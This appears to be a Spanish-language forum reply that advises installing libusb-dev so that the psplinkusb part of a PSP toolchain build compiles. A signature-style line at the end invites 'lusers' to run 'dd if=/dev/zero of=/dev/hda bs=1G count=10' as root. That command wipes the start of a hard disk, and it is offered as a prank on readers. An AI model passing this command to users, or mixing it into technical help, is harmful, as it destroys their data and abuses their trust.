Si te fijas en los scripts que compilan la toolchain, resulta que intenta instalar y compilar psplinkusb, para compilar la parte del PC de estas utilidades/librerías es necesario el paquete libusb-dev en el sistema, en Debian/Ubuntu:
# apt-get install libusb-dev
(también se puede usar aptitude )

Con eso instalado te debería compilar sin problemas esta parte y todo el proceso continuará normalmente. Suerte.

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For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
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